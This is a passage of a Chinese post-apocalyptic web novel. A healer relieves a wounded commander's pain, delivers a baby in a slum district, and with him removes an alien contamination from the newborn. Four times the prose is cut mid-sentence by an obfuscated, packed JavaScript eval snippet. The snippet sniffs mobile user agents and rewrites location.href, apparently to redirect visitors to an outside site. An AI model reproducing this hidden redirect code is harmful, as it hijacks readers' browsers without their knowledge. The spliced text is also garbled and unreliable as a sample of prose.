不过这警惕性也没能维持太久，这个房子离种植区太近了，夜里即便关上门窗也还是能听见农作物细碎静谧生长的动静，整个曙光城里或许只有种植区周围能有这样的声音。 季青石坐在客厅的沙发里，感受着因为止疼药退效从脊柱传来渐渐分明强烈的疼痛，却依旧懒得起身去随身的行李里面翻找，不知道还有没有被自己无意剩下，又无意从中心区带出来的高阶止疼药。 直到听见外面一声巨响，作为指挥官和战斗者的本能，才驱使他起身顺着方青禾那边发出的声音，一路跟到种植区里去。 季青石还没有领四分区的防护服，好在异能觉醒除了给他极强的战斗力之外，整个身体机能也跟寻常人完全不一样，安全区外没有过滤的水对他的影响比普通人要小很多 雨水湿透了季青石浅灰色的短袖，勾勒出结实但单薄的肌肉，这是强悍的躯体和严重的伤病常年互相抵抗出来的结果，伤病弄不死季青石，却也无法让他恢复到当年完美的状态。 事故不算严重，不管是因为什么原因，军事区会有专门的人员去修补这个大洞。 方青禾要做的就是维持土壤的稳定，季青石要做的就是护卫好方青禾，以防种植区的作物触碰到安全区以外的水，突然变异。 方青禾在维护种植区土壤稳定，季青石便一直护在她身边，即便分区护卫队的陆尘已经带着人来了，他也没挪动位置。 扬起下巴冲跟他敬礼的陆尘扬了扬下巴，就算是打了招呼。直到雨渐渐变小直至停了，方青禾收回异能，季青石才挪了挪已经僵硬的背脊和腿脚。 “你的止疼药药效是不是褪了。” “是。” 方青禾是自己的邻居，也是整个分区离自己最近的诊所负责人。自己的档案最迟还有两天就会传递给她，而她的档案早在自己确定要来四分区之前，就已经摆在自己的桌上了。 “那你先跟我回去，我先给你止疼。” “谢谢。” 诊所不到时间即便是负责人也不能随意进出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037434|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当年给季青石治疗的治疗师很多，但季青石依旧是方青禾治疗过的人里最特殊的一个。 两人都觉得自己认出（知道）对方是谁，但对方肯定忘了自己。此刻也都是矜持的点点头，一前一后往方青禾小屋的方向去。 方青禾是种植区的负责人，季青石是平民区护卫队的队长，两人的身份现在看来谁更吃香一点还不好说。 但明面上季青石的身份摆在那里，内里都是木质的小屋，方青禾这边明显就要被季青石那边更小一些。 屋子里一楼厨房是开放式跟客厅连着的，连在一起也就二十个平方左右。 进门右边是厨房，左边伸出去一块是厕所。曙光城里的房子都是集中建造，厕所和下水的位置全部固定不允许私下挪动位置。 曙光城里的人产出的所有废料都会被收集以后转化为再生资源，至于再生成了什么，方青禾从来不问。只要不问就不知道，只要不知道就当做自己从来没有用过吃过。 季青石很高，一米八八的大高个跟在方青禾后面进了屋子，感觉整个屋子一下子就被填满了。他站在门口没动，等了一小会儿发现门口的过滤装置没启动，便皱着眉转身准备退到门外去。 “我们这里是这样的，这玩意儿一下子灵一下子不灵，门外面左边有个按钮，你手动按一下就行了。别往外面去，破了这么大一个洞等会儿外面就该起风了，你没穿防护服别吸了不该吸的东西进去。” “嗯。” 方青禾自带的异能让她不怎么在意普通污染源，平民区家家户户都抱怨过滤装置不灵的事，对她来说不疼不痒，也就一直拖着没让人上门来检修。 方青禾在门口把防护服脱下，进门就直奔二楼的卧室去拿医药箱。经历过末世的人，都会留下能不用自己的能力和体力就不用的本能，哪怕她现在面对的是所谓的战斗英雄。 说是医药箱，其实更像一个大铁坨，一个木质的‘大铁坨’。 木头是从黑市上收来的，用的是末世之后变异的树木。末世之前的木头能拿来做船，现在这个星球上的树木，密度和重量都比之前要重了许多，扔进水里咕嘟咕嘟两声马上往下沉，比铁还快。 可密度硬度都变异了的木头，稳定性并没有变得更好，完全经不起锻造和拉伸塑形。 末世稍微平稳了一些之后，很多小安全区和基地缺少物资，都想要用这种木头代替钢铁制造武器和飞行器，当然最后的结果无一例外都是失败。 从那以后这种不能烧火又比铁坨还重的木头就成了无人问津的东西，方青禾只从口袋里抓了两把小米，就换回来一大摞切割打磨好，但压根没人要的黑木木板，自己做了个带锁的医药箱。 锁是从诊所顺回来的，末世之后资源短缺，平民区里的诊所一个个看着不起眼，但其实里外的防护措施都做得很好，起码一个普普通通的异能者都不可能从里面抢走什么。 至于再高阶的异能者？方青禾一边把高剂量高浓度的止疼药从药箱最底下翻出来，心里一边嘀咕，那人家也不至于沦落到第四区来抢劫一个小诊所，真以为人人都跟季青石这么倒霉呢。 5. 倒霉蛋好像有点穷 把要用的药找出来，诊所淘汰下来已经报废的锁重新锁上，站起来等了两秒钟，看着锁头锁紧指示灯泛起蓝点的光芒，方青禾这才转身下楼。 木质的地板踩上去动静不小，楼下的季青石坐在餐厅里高脚的木椅子上，背对着方青禾却没有回头。 季青石这样的顶级战斗类异能者，要是听不见自己的脚步声那才有鬼了。这会儿背对着自己一动不动只有一个可能：这人疼得狠了。 “哪里最疼，说得上来吗？” “不好说，你把药从颈椎三段打下去。” 方青禾快步走到季青石身边，本来要把手指直接往颈动脉上搭，抬到一半怕这人应激又换了方向去捉他的手腕，探听他的脉搏。 这种近乎古老的方式，整个安全区里已经没多少人在用，方青禾却很喜欢。 脉搏连接着他心脏，手指又连接着自己的呼吸，她能够从这种微弱又玄之又玄的联系中感受到别人的生命力，仅仅是感受到也会让方青禾心里闪过一瞬快活。她喜欢活人，不喜欢死的。 不过眼下方青禾是怎么都快活不起来了，季青石当年受的伤太重，后来就算捡回一条命来，维持日常生活的各种药剂也不能断，要不然这人就是死狗一条。 “你出来的时候中心区给你配发了多少T12？” “三支，都用完了。还有一支备用的得回去找找，好像带出来了好像又没有，本来是打算明天早上去方研究员那里领新的。” 操！方青禾没忍住骂了一声。中心区就是这个死德行，用你的时候把人往天上捧，用不着了就把人往泥里面踩。 季青石这种各大安全区无人不知的战斗英雄异能者，居然给配发的止疼药连多余一支的剂量都没有，这不是混蛋嘛。 末世之后，人类在生物医药方面只有两大最迫切的需求，繁殖与生存。繁殖不用多解释，死的人太多就只能生更多的出来，生得多了总有活下来的，人类得先活下来才有资本谈以后。 药品医学这一块，大家追求的主旨也很简单，一切以‘活下去’为大，怎么才能活下去？能呼吸能吃能不疼，能在陷入危险境地的时候有逃生的能力，至于其他的需求都可以往后放一放。 这么一来，止疼药在所有安全区和庇护所、基地都成了硬通货和奢侈品。 从T1到T12不断更新迭代,止疼药的等级越高效果越好越持久，但那是对普通人而言。季青石的身体随着他的异能觉醒也发生了改变，普通的止疼药对他一点效果都没有。 中心区不会克扣季青石的止疼药，但他们会计算到极致不会多给他一点儿，这本身就是一种不动声色的折辱。 方青禾本来只想给他用一支t6顶一顶，然后再去用他自己的t12。没想到新上任的分区护卫队长比自己还穷，方青禾没办法只能又上楼拿了一只t12下来，顺着季青石颈后的脊髓一点点打进身体中。 “那静定呢，这个总给你多配了一点吧。” 战斗力异能觉醒的人绝大部分都会伴随精神力的自控下降，尤其是像季青石这种已经出过无数次任务的，末世各种不知名的污染、超负荷的战斗和死亡冲击，都会对他们的精神力造成创伤。 这种创伤的后果很难讲，有人会突然暴怒，也有人会意志消沉。安全区为了保证战斗力，专门研发出‘静定’来针对这种情况，打了药的异能者会迅速平稳下来。 有人说打了静定就如同上了天堂，紧绷在脑子里的弦彻底松懈下来，整个人都如同刚出生的婴儿，被末世污染过的触感会无限放大，甚至连安全区之外的虫鸣鸟叫都听得一清二楚。 也有人觉得昏昏沉沉如堕地狱，想说什么想咽口口水都没力气，就想无知无觉地这么躺下去，直到属于个体的末世真正降临。 但不管是那种反馈，在其他人眼里就是打了静定人就能稳下来，等药效过去之前发狂的情况也会随之过去，这就是在末世生存下去最好的药，至于其他的没人有时间探究。 “我不打那东西，就没要。” “什么？” “我不用静定。” 季青石的皮肤是小麦色的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037435|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉之下的肌理不壮硕却十分坚硬有力。 打完t12还要时刻观察他的情况，方青禾的手指顺着他有些杂乱的脉搏往上摩挲，能感受到他肌理和血脉间的躁动与不安。 这种不安绝不是纯粹的疼痛造成的，这个人此时此刻心里一定是躁动不安的，不知道他想到的是哪一场战役。毕竟他是季青石，他带队打过的那些仗，安全区的每一个人都如数家珍，包括方青禾。 “我不喜欢、身体失去控制的感觉。”季青石说到这个的时候眸子里的神色暗了一下，方青禾就大概猜到他应该是想到那次重伤的经历了。 那一次连方青禾都参与了的救援，t12和静定这样的药剂自然也没少用。重伤导致的生命流逝和药物产生的被迫安稳的效果交织在一起，会变成本能的抗拒倒是毫不令人意外。 方青禾没有当圣母的习惯，尤其是在末世。季青石也没有赖在别人家不走的毛病，等到骨骼和肌肉里的疼痛慢慢缓解下来，季青石就从凳子上站起身来，走到门边准备离开。 “你就这么走？外面已经刮风了。” “我在中心区的报酬还没结算完成，信用点也没跟这边同步，应该过两天就好了，到时候我把t12的信用点转给你。” 破了这么大一个洞，安全区外面的风像是天水倒灌一样往下刮。很吓人的场景，但对于安全区里的人来说都见怪不怪。 “我是说你没有防护服，你的身体情况不应该再触碰安全区之外，还没有经过检测不知道有没有被污染的空气和风。” “没事，已经不疼了，我跑回去用不了多久。” 末世之后的人很少‘借’别人什么东西，除非是最亲近的人。这是一种本能，方青禾还在思考要不要把自己偷偷藏着的大码防护服拿出来借给季青石，这人就已经拉开门迈了出去。 外面的妖风刮得很大，季青石看着有些粗粝的人心思却细。门只开了一条缝足够他侧身出去，紧跟着就被砰一声关上，随之传到方青禾耳朵里的只有一句：关好门别出来，明天我去诊所找你拿药。 6. 接生 屋子外面妖风阵阵，不妨碍方青禾一觉安稳到天亮。甚至因为半夜折腾那一场，早上还睡过头了。 “方青禾，方青禾！”敲门的是陆尘，半夜出了事故平民区难免被波及，作为护卫队的副队长，陆尘带人忙到天亮才收工。 往回走的路上，路过种植区没看见方青禾的影子，再想起之前路过的诊所也是大门紧闭，这才紧赶慢赶往方青禾住处这边来。 “干嘛啊，这大清早的，又出什么事了。” 陆尘那就是砸门，要不是方青禾下楼的速度够快，屋子里的自动防护措施都得起反应了。 “我以为你死屋子里了。” 末世没有什么睡衣不睡衣的，能有一件棉质的衣服裤子凑合，就已经算是很奢侈的事情了。陆尘上下扫了一眼，看清她衣服上没有不寻常的痕迹和褶皱这才放心。 “种植区和诊所都没人，昨晚上你又把那个谁带回来了，我这不是怕出什么意外。” “人家能图我什么啊，他就是……”话到嘴边方青禾拐了个弯，“他一个人出的中心区，家里一口水都没有，问我来借点吃的。” 人在末世活着，以前的规则规矩都成了一张废纸，只有弱肉强食才是唯一的真理准则。但同时又有新的约定俗成的规矩，潜移默化在人与人之间产生。 就好比人与人之间的隐私与边界，也成为了大多数人的禁区。季青石的身体情况中心区还没发到自己手上，但看他昨天那个状态和他说的话，他的治疗师十有八九就是自己。 作为专业的治疗师，自己有义务替他保护他的身体情况不被其他人知道。 毕竟陆尘也不是什么好对付的角色，以后他俩一个分区护卫队长，一个副队长，两人能不能合得来且还不好说，自己不能让他们的矛盾点有是从自己这里开始的可能。 “我还以为中心区来的人起码要配备几个副手，怎么就单枪匹马的来了。” 这话被陆尘说得酸溜溜的，却也算平民区的常态。有人的地方就有江湖，这话据说是末世前流传了很久的俚语，即便经历过末世这话依旧很有道理。 分区护卫队的人有异能的不多，即便有也等级很低，但是再低也让他们和平民区其他人之间划下了泾渭分明的鸿沟。 时间长了鸿沟成了隔阂，平民区的人觉得自己拼死拼活交上去的贡献点供养了护卫队，那么护卫队就应该维护平民区的安全。 至于护卫队从成立起就居高不下的战损率，那不在他们的考虑范围之内，摊上这么个年代谁不死啊。 护卫队里的人，有异能的心里总盼着往更中心区的方向去。毕竟越往里面供给越好，被分配出城执行的人物会更危险，但配备的武器和补剂都会比平民区的更好。 有时候有人运气好，还会有额外的机缘得到快速提升异能的能量或是灵气之类的东西，那种事情玄之又玄，没遇上的时候谁提起来都带着几分嗤之以鼻，但心里又都存着一丝：要是自己能遇上就好了的心。 “你以为写小说呢，发配边疆还能带上助手。快说有什么事，这一大早的过来。” “早上流莺给我传了消息，说外区也出现了昨晚上那种情况。你也知道他们那边跟我们这边不一样，她问我能不能提前过去一趟。” “最早也要后天才行，漏了防护板早上刚补好，土质起码得等个两天才能稳定下来，这之前我出不去。” “那就后天。” “你要是着急你就先去外区，城外我们可以下次再去。” “外区的防护罩跟我们这边不一样，听说跟着雨水一起砸下来的还有一些不明物质和……” “异种？” “不好说，没有活物入侵的的证据，但外区很多人都起了不良反应，说不好到底是什么影响更大。三区已经派了几个护卫分队过去，具体什么情况要到下午才能有消息。” 陆尘放不下小葵，但是他没有异能，他的本事到了外区只能保证流莺和小葵不死。但流莺已经明确捎信过来说明她暂时能保住她和小葵的生命安全，她要的是自己能把方青禾带过去。 “我明天告诉你后天几点能出发，既然出去了就别走空。” 最近能源动力中心隔三差五就要到自己这边来，一是抱怨安全区里的粮食紧张不够用，二是一再催促自己寻找优质种子。 都是平民分区，每次从中心区分发下来的物资也不是完全公平的，想要更好一点儿的东西，就得能先送更好的产出去安全区。 这些事方青禾心里有数，但是也没有告诉护卫队的人。她每次出城打的都是寻找各种草药、种子和给自己找提升异能机会的借口，因为方青禾的异能再往上走一点的确有希望去更核心的区域，所以没人怀疑她的动机。 说完了正事，陆尘准备正准备离开，就远远地看见有人顺着种植区和居住区的围墙往这边一路狂奔。 “谁，来干什么的，站在警戒线以外！” 陆尘已经把随身携带的弓弩拿出来远远瞄准来人，分区护卫队平时在分区内执勤的时候多用弓弩，一来确保不浪费火药，二来也让平民区的老百姓更放心。 “方医生，我们铁皮巷那边有人要生了，情况好像有点儿不对劲，想请您过去给看看。” 平民区内很少有公共交通，大巴车只有固定时间固定线路才有。普通人出行能有个破自行车都很难得，大多数时候还是靠双腿跑着来。 “什么不对劲，能大概说说吗。” “昨天晚上开始要生的，本来生得挺好，天破了之后就生不动了。老庄说母体周边有一丝能量在流动，他异能感知太低，所以要找你过去看看。” 平民区也分等级，最好的房子独门独院还有围墙，能围出个小院子来种菜喂鸡，据说就跟末世之前所谓的别墅没有区别。 次一等的房子一般都是四五层高，一建就是几十栋，这些房子的归属者一般都是在平民区有工作的人，比如武器工厂、燃料处理中心、净水和食物处理中心等等。 有工作的时候会按照职位和重要性和是否是双职工分房子，要是哪天不能干活了，也就得从那些成了聚居区的楼里搬出来。 再往下就是铁皮房木屋房，这类活过了末世的人自发聚集在一起形成的居民区，这些聚集点有大有小有好有坏，有的有工作有的打零工，据说还有很多不服管的低阶异能者混迹其中。 “等着，马上就来。” 生孩子不是小事，方青禾转身上楼收拾出一堆必要的东西就要跟着来人走，刚发动自己的电驴子就看见季青石正从小路上大路往自己这边拐，看样子是要去诊所找自己的。 这么早就去诊所，肯定是半夜那支止疼药的效果已经快褪干净了。县官不如现管，方青禾明白日后跟这人的往来还多得很，随即又重新上楼拿了两支t12，然后才骑着电驴子上了路。 去铁皮巷就这一条路，季青石看着方青禾往自己这边来干脆也停在路边。直到两边碰头了才主动问她：“什么时候能回来。” “不好说，我要去铁皮巷接生，你的t12还能管多久？” “一个小时差不多了。” “上来，等会儿要打针了我腾个手给你弄。” 方青禾的规矩，从自己手里出去的药不是特殊情况都得当着自己的面用了。 尤其像t12这种玩意儿要是谁来都给，给了让他们自己回去弄，那人家到底用没有、用了多少就不好说了。毕竟偷着囤货这事，谁比自己更有经验？ 季青石也不废话，抬腿就坐到方青禾铁驴子后座一起往铁皮巷去。 铁皮巷，顾名思义房子主体架构都是铁皮子做的。说是铁皮其实什么都有，石棉瓦塑料布、还有些从末世活过来的手艺人自己烧土胚土砖建房子。主旨就一个：能有个容身之所就行了。 铁皮巷说是巷，但其实更像是以供水点为中心一圈又一圈围出来的环。 离供水点越近的房子越整齐，就算是铁皮屋也还有窗有隔断，还有的人家会自己弄个厕所在铁皮房后面。 离供水点越远越破烂，刚近铁皮巷那一圈屋子，很多屋顶都是几层破塑料布蒙着，再在上面铺一层从城外割回来的干草遮丑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037436|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要生孩子的人家离供水段中心只隔了两圈，车一路跟着在前面跑的人没停，季青石也一路认真看着铁皮巷的格局和这里面住着的人。中心区给了他一个星期安置的时间，再过几天这里面所有人就都得归他管了。 车停在一个绿色防盗门前，防盗门是末世之后被安全区的人一起收集回来的，锁眼绝大部分都坏了，现在要想关门得自己在门上加一道老式锁，才勉强能用。 这会儿门是开着的，方青禾率先往里走，屋子里的人立马就让出来一条路，等着她来帮助产妇生育。 “具体生了多久了谁知道。” “从昨天傍晚就开始了，本来生得好好的，预计半夜就能生下来，防护罩一破就坏了。” 确实是有异种的气息，虽然很微弱但方青禾跟后面进来的季青石都感知到了。两人对视一眼，季青石冲她微微点头，那意思就是这事他管了，孩子生下来这有什么不对他来兜底。 “跟防护罩没关系，破了也只是漏雨下来。种植区那边情况如常没有异样，你们也不用过分担心。” 末世之后万法皆衰，很多本来已经发展得很好的科技医疗都断了代，反而是很多早就淹没在历史长河里的职业又被慢慢捡了起来。 人死得多了，就有了收尸人。这两年曙光城里生孩子的多了，也就有了接生婆。 生了这么久生不下来，接生婆明显已经很慌张了，方青禾抬手在她肩膀上拍了两下，这话既是说给她听也是说给产妇听，这个时候什么异种什么危言耸听的话都没必要，先把孩子给弄出来再说。 方青禾把手指搭到产妇的腕子上，草木系蕴含生机的能量就顺着脉搏一路往上，顺着动脉延伸至产妇的神经系统，让一直处于高度紧张情绪下的人慢慢舒缓下来。 “你把呼吸慢慢缓下来，要是可以的话努力感受我给你的气息。” 平时方青禾给难产的人接生，顶多就是从脉搏里送一股异能进去就行了。异能者跟普通人说得更露骨一些，也算不上同一个物种。 不光是很多异能者看不上普通人，很多普通人对异能者的羡慕嫉妒和忌惮，也是一天比一天更厉害了。 人不患寡而患不均，这种矛盾无法调和。除非有一天所有人都有了异能，或者所有人都没有了，要不然这条横亘在两种人只会越来越大。 但今天不一样，她把另一只手贴在已经露了半个，按道理应该好生却又硬生生卡住的婴儿头顶上，静下心来仔细去感受那道说不清道不明的异种气息到底是从哪里来的。 草木系蕴含生机的异能让已经到了油尽灯枯边缘的产妇重新恢复了一些体力，接生婆见状也顾不得方青禾按在婴儿头顶的手，半个手掌强托住婴儿的头颈，几乎是生拉硬拽着把孩子给拽了出来。 孩子下来大人就安全了一大半，方青禾拿出一支针剂推给产妇：“止血的针给你打了，补血的药就不给你打了。我给你的那点儿异能也可以生气血，只不过是慢一点。” 止血的针一针要三百个贡献点，补血的针一次要五百个贡献点，而铁皮巷里的成年人，一般一个月也就能赚一百五十个贡献点，可以说为了保住这个产妇的命，他们家很有可能要把全家的积蓄都掏空。 “谢谢方大夫。”产妇惨白着一张脸，想笑一下眼泪却先流了下来。 女人年纪不小了，看样子起码也有四十大几，手上极其粗糙的皲裂一看就知道是卖苦力为生的。这个年纪还在生孩子，不是没一点儿办法肯定不会选这条路。 “他是季青石，我们四分区护卫队新来的队长。” “你这个孩子什么情况我也不瞒着你，我和季队长要先检查一番再上报分区，确定孩子没有问题肯定会还给你。” 方青禾顺着产妇泪眼婆娑的目光扫到季青石身上，他已经从接生婆手里把孩子接了过去，陆尘一脸防备的看着他，他却一点儿把孩子还给人家，或者给陆尘的意思都没有。 见他这个态度方青禾就大概明白什么情况了，她冲着陆尘微微点头让他先稳住，然后就起身跟季青石一起带着孩子进了隔壁房间。 7. 异种 孩子被抱进隔壁屋，本来挺热闹的产房瞬间安静下来。陆尘已经挪到方青禾这间屋子外面看守，要是真的得把孩子带走，就怕会出现这家人抢孩子的情况。 接生婆已经拿了报酬离开了，从末世活过来的人大部分都改了一个毛病：看热闹。 没有人会像末世来临之前那样，有点儿什么小事就围一圈人等着有什么热闹可以看。 如今的人类本能地排斥‘意外’，尤其还是这种事关异种的意外，接生婆跑还来不及，就怕沾染一星半点再害了自己的性命。 整个房间里只有躺在床上刚生完孩子的女人在小声啜泣，她想要她的男人跟过去看看是怎么回事，她更想说这个孩子自己怀的整个过程里都没有发现异样，但最终她什么都没有说。 她今年四十五了，末世还没降临的时候她是学校里成绩最好的学生。那个时候她人生最大的目标就是考个好大学，最大的烦恼就是下了课怎么还要去一对一补课。 但末世就那么毫无征兆的来了，这些年她也不知道自己是怎么活过来的。 她来到曙光城也才两年，她拼尽全力拥有了进平民区的资格之后，就没有能力再给自己找一个落脚的地方。 现在蹲在地上抱着脑袋一言不发的男人找到了自己，他说他的妻子死了，他还想找女人生一个孩子，因为曙光城里生一个孩子能有救济金。 要是孩子生下来能觉醒异能，那么即便男人和她这辈子还是只能待在铁皮巷，生命安全和生活质量都多多少少会更有保障。 况且当时男人还有一个女人无法拒绝的条件，他在铁皮巷有房子。人类不是野兽，不用餐风露宿的诱惑太大，女人点点头就跟他回来了。 女人对自己的情况很了解，这个年纪了还能怀上个孩子不容易。他们两个也买不起黑市那些所谓吃了就能生孩子的药剂，这个孩子就是他们两个的救命稻草。 要是孩子留不住，自己就无法再在这个房子里待下去。而要自己再生一个的概率太小了，而且刚才那支止血药花了男人太多贡献点，她不知道该怎么还这笔账。 这种几乎没有活路局面，让整个屋子里的气氛都变得越来越凝重，只有陆尘站在一旁面带探究地看着产妇，看不出他到底在想什么。 门外的人什么心情暂且影响不到屋里的两人，只要这孩子的爸妈聪明不闹起来，这孩子说不定还有一条生路。 “季队长感知到什么了。” “异种的气息在孩子体内。” 他这话一说出口，方青禾最后一点儿侥幸也没了，近一两年曙光城里已经不止一次发生这种情况了。怀孕期间一切正常，生下来的幼崽却突然多了异种的气息。 “你把孩子放下来，我做个初步的检查。” “你们分区的规矩是什么情况往上报。” “季队长，以后就是我们分区了。” 这事不怪季青石不知道，安全区里大规矩是铁律，谁违反了都是死路一条。比如所有东西都需要贡献点来换，所有人都要能持续赚取贡献点才能活下去。 但小规矩又很有弹性和运作的空间，就好比平民区里几个分区的首领都有指定小规则的权利。而这个小规则的范围其实很大，唯一需要遵守的规矩只有一条：不能把事情闹大，不能让异种进安全区。 “那我们分区的规矩，碰上这种情况应该是哪个阶段上报。” “我和像我这样负责诊所的治疗者可以先做初步判定，要是可以自己搞定就自己搞定，宗旨是不要扩大影响。要是不能……” 要是不能就得通过护卫队往上通报，到时候会有专业的人来接手。到时候被异种污染的幼崽会被带走，通常带走了的幼崽不会再回来。 方青禾跟季青石说明流程的时候手里的动作也没有停，房间的桌子缺了一角摆不稳，把刚生出来甚至只来得及把口里的羊水污秽抠干净的婴儿放在桌上，还得用大腿顶着桌子别晃动，用手指顺着脊柱一点一点往下摸索探寻。 婴儿的啼哭声微弱，方青禾不得不一边顺着那股若有似无得异种气息往更深处探找，还得分出一丝精力来给这小东西续命。 方青禾得想办法找到这股气息的源头，要不然这个孩子注定留不住。 “你别着急，我刚刚已经提前把我的信息录进分区护卫队，我是队长我有权限决定这个孩子什么时候往上通报。” “我没着急，是这个异种的气息太微弱了，我……” 我都追丢了三次了！这话方青禾没好意思说出来，但季青石看她的表情也大概能猜着。 这下轮到季青石不说话了，在自己本职强项上出了岔子那是该着急，更何况还是人命关天的事。 季青石有时候会觉得这末世真有趣，一方面视人命如草芥，另一方面又把人命看得极其珍贵。 这两者听着相悖却又是一个道理，在确定人命没什么用的时候就是草芥。但人命还没长成或许还有用的时候，又格外值钱。 “找到了，异种的根扎在颈椎第五节的后方。” “你试着看能不能引导出来，能的话我能吞噬。” “什么？” 方青禾没有抬头看季青石，异种变化多端，至今也不能确定这些会引起人、动物、植物甚至天气发生异变的异种到底是什么，是基因还是病毒还是细菌？ 方青禾第一次碰到这种情况的时候，也尝试按照分区发的手册里的办法，把异种的气息从婴儿身体里如同抽丝剥茧一般抽出来。 但那次失败了，异种在只差一层薄薄的皮肤时，突然消散弥漫到那个婴儿身体里。没多久那个孩子就开始变异，当时在场的还有一个分区护卫队的队员，他率先反应过来抱起孩子就往外跑。 很快那个孩子就被分区护卫队的人接走了，方青禾没有再见过那个孩子。隔了两个月之后有两个平民区负责奖惩处罚的狴犴过来问话，问的也都是一些很日常粗浅的问题。 狴犴，据说是上古时候监狱和刑罚的守护者。安全区成立之后除了管理之外，最重要的就是刑罚与监督。 除了维护安全区内的稳定和正常运行，他们也还要时刻防备从其他安全区或基地潜伏进来的人，毕竟末世里谁的安全区更大势力就更大，相邻的邻居有时候就是最危险的敌人。 穿红衣的狴犴主管处罚，谁违反了安全区的规定最后都是要由红狴犴来决定怎么罚。黑狴犴管监察和探听，方青禾管着种植区跟他们打交道的时候最多。 那天他们来问孩子的事方青禾还想仗着面熟多问两句，谁知那两黑狴犴当时就变了脸，只板着脸跟自己说不该问的不要问，然后就起身离开了。 过了这么久，不管是那次孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037437|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事还是后续黑狴犴的问询，都让方青禾记忆犹新。 之后不知道是幸运还是不幸运，方青禾再碰上的几个这样的孩子，她都没能力独自处理。 她甚至知道自己能做到哪一步，但她也仅仅可以找到源头，后续的事情她需要拥有破坏或者吞噬异能的人来协助。 每一次她都会尽量告诉护卫队的人自己已经做了什么，把这个孩子送去狴犴或者更高阶的地方之后可以怎么处置。 但每一次护卫队的人也只能点头答应她，然后有去无回。等不知过了多久，才会有人去通知那家人孩子没留住。 现在季青石主动跟自己说他可以吞噬异种的气息，她心头猛猛跳了几下，随即便重新聚拢精神尝试引导异种，从它刚刚附着还来不及扎根的颈椎上剥离下来。 这是个精细活儿，季青石轻轻往后退了半步连呼吸都放缓了。薄薄一张木门挡不住外面的声音，方青禾一边顺着脊髓和筋络一点点往外牵引异种，一边听着门外隐隐约约的啜泣和浊重的呼吸声。 本来还有点拿不准的心思也彻底稳了下来，这个孩子只有这一条活路，左右也没有更差的结果了，怕什么怕。 异种扎根的地方太刁钻，方青禾用尽全力也只能顺着脊柱往下，一直把那股气息逼到尾椎骨尖处，就再也不敢乱动了。 “这个位置你行不行，可以的话我把它往外牵引。你看着，只差一层皮的时候就要把孩子皮肤划开，你只有一次机会，划开得慢了它会重新弥散开，这孩子会提前异变。” “可以，来吧。” 季青石的异能里其实没有吞噬这一项，但他自身的恢复能力极强，前些年又带队出去作战太多次。 他的身体就像一个容器，在恢复的过程中杂糅了太多异种和怪物的气息和能量，他现在就像一块唐僧肉，异种会本能地靠近他试图吞噬他，然后再反被他吞噬消融。 他仔细看着方青禾的动作，连呼吸的节奏都很快调整到跟她趋同。等到方青禾手指轻轻一抬，趴在桌子上的婴儿屁股中间鼓出一小团，他就知道是时候了。 驱动异能如同针挑一般划出一道口子，一抹说不清是什么颜色和状态的‘气’，以几乎肉眼不可见的速度从婴儿体内钻出来，直直奔着季青石而去。 季青石没有阻挡和反抗，就这么任由异种进入自己体内。方青禾也没多嘴问什么，每个人有每个人的办法，她只要确定季青石不是要自己找死就可以了。 还没来得及扎根的异种能量对于季青石来说很微弱，虽然进入身体有点难受但并不妨碍他快速消化吞噬。 等方青禾把小孩儿尾巴骨上的伤口愈合，又随手拿过一块还算干净的破布把孩子包起来，季青石有些苍白的脸色也恢复得差不多了。 “可以了？” “可以了，出去吧。” 两人抱着孩子从房间里出来，脸上一点儿异样都没有。 方青禾把孩子放到产妇身边，又主动掀开破布，指着恢复得只剩颜色比周围皮肤稍微深一点的尾椎骨给她看。 “我从这里开始做的检查，那个异种气息应该是今天凌晨防护板破漏混进来的杂质，没有在你女儿身体里。” “现在我和季队长已经把杂质处理干净了，这个疤痕过个三五天会消失，要是没有消退的话可以带她来诊所找我。” 8. 怀疑 两三年了，四分区第一次留住了被异种污染的孩子。即便方青禾斩钉截铁说只是杂质，没有进入小孩儿体内，还是让满屋子的人都惊了。 